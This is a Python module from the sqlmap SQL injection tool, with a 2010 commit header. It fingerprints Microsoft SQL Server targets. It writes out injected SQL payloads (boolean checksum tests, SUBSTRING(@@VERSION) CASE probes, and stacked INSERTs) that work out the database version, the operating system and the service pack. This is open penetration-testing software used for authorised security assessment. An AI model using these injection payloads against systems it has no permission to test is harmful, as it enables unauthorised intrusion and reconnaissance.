sqlmap/plugins/dbms/mssqlserver/fingerprint.py
Bernardo Damele c8f943f5e4 Now, if the back-end dbms type has been identified by the detection engine, skips the fingerprint phase.
Major code refactoring and commenting to detection engine.
Ask user whether or not to proceed to test remaining parameters after an injection point has been identified.
Restore beep at SQL injection find.
Avoid reuse of same variable in DBMS handler code.
Minor adjustment of payloads XML file.
2010-11-30 22:40:25 +00:00

229 lines
7.4 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getUnicode
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self)
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if ((kb.dbms is not None and kb.dbms.lower() in MSSQL_ALIASES) \
or conf.dbms in MSSQL_ALIASES) and kb.dbmsVersion and \
kb.dbmsVersion[0].isdigit():
setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0]))
self.getBanner()
if not conf.extensiveFp:
kb.os = "Windows"
return True
infoMsg = "testing Microsoft SQL Server"
logger.info(infoMsg)
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not work connecting
# directly to the Microsoft SQL Server database
if conf.direct:
result = True
else:
randInt = randomInt()
payload = agent.fullPayload("AND BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))
result = Request.queryPage(payload)
if result:
infoMsg = "confirming Microsoft SQL Server"
logger.info(infoMsg)
for version in (0, 5, 8):
randInt = randomInt()
query = "AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
if conf.direct:
query = query.replace("AND ", "SELECT 1 WHERE ", 1)
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result:
if version == 8:
kb.dbmsVersion = ["2008"]
break
elif version == 5:
kb.dbmsVersion = ["2005"]
break
elif version == 0:
kb.dbmsVersion = ["2000"]
break
else:
query = "AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result:
kb.dbmsVersion = ["7.0"]
break
if kb.dbmsVersion:
setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0]))
else:
setDbms(DBMS.MSSQL)
self.getBanner()
kb.os = "Windows"
return True
else:
warnMsg = "the back-end DBMS is not Microsoft SQL Server"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os and kb.osVersion and kb.osSP:
return
if not kb.os:
kb.os = "Windows"
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % kb.os
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = { "2003": ("5.2", (2, 1)),
#"2003": ("6.0", (2, 1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1, suppressOutput=True) == "1":
kb.osVersion = version
infoMsg += " %s" % kb.osVersion
break
if not kb.osVersion:
kb.osVersion = "2003"
kb.osSP = 2
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[kb.osVersion][1]
for sp in sps:
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + getUnicode(sp) + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1, suppressOutput=True) == "1":
kb.osSP = sp
break
if not kb.osSP:
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
kb.osSP = 0
if kb.osVersion:
infoMsg += " Service Pack %d" % kb.osSP
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)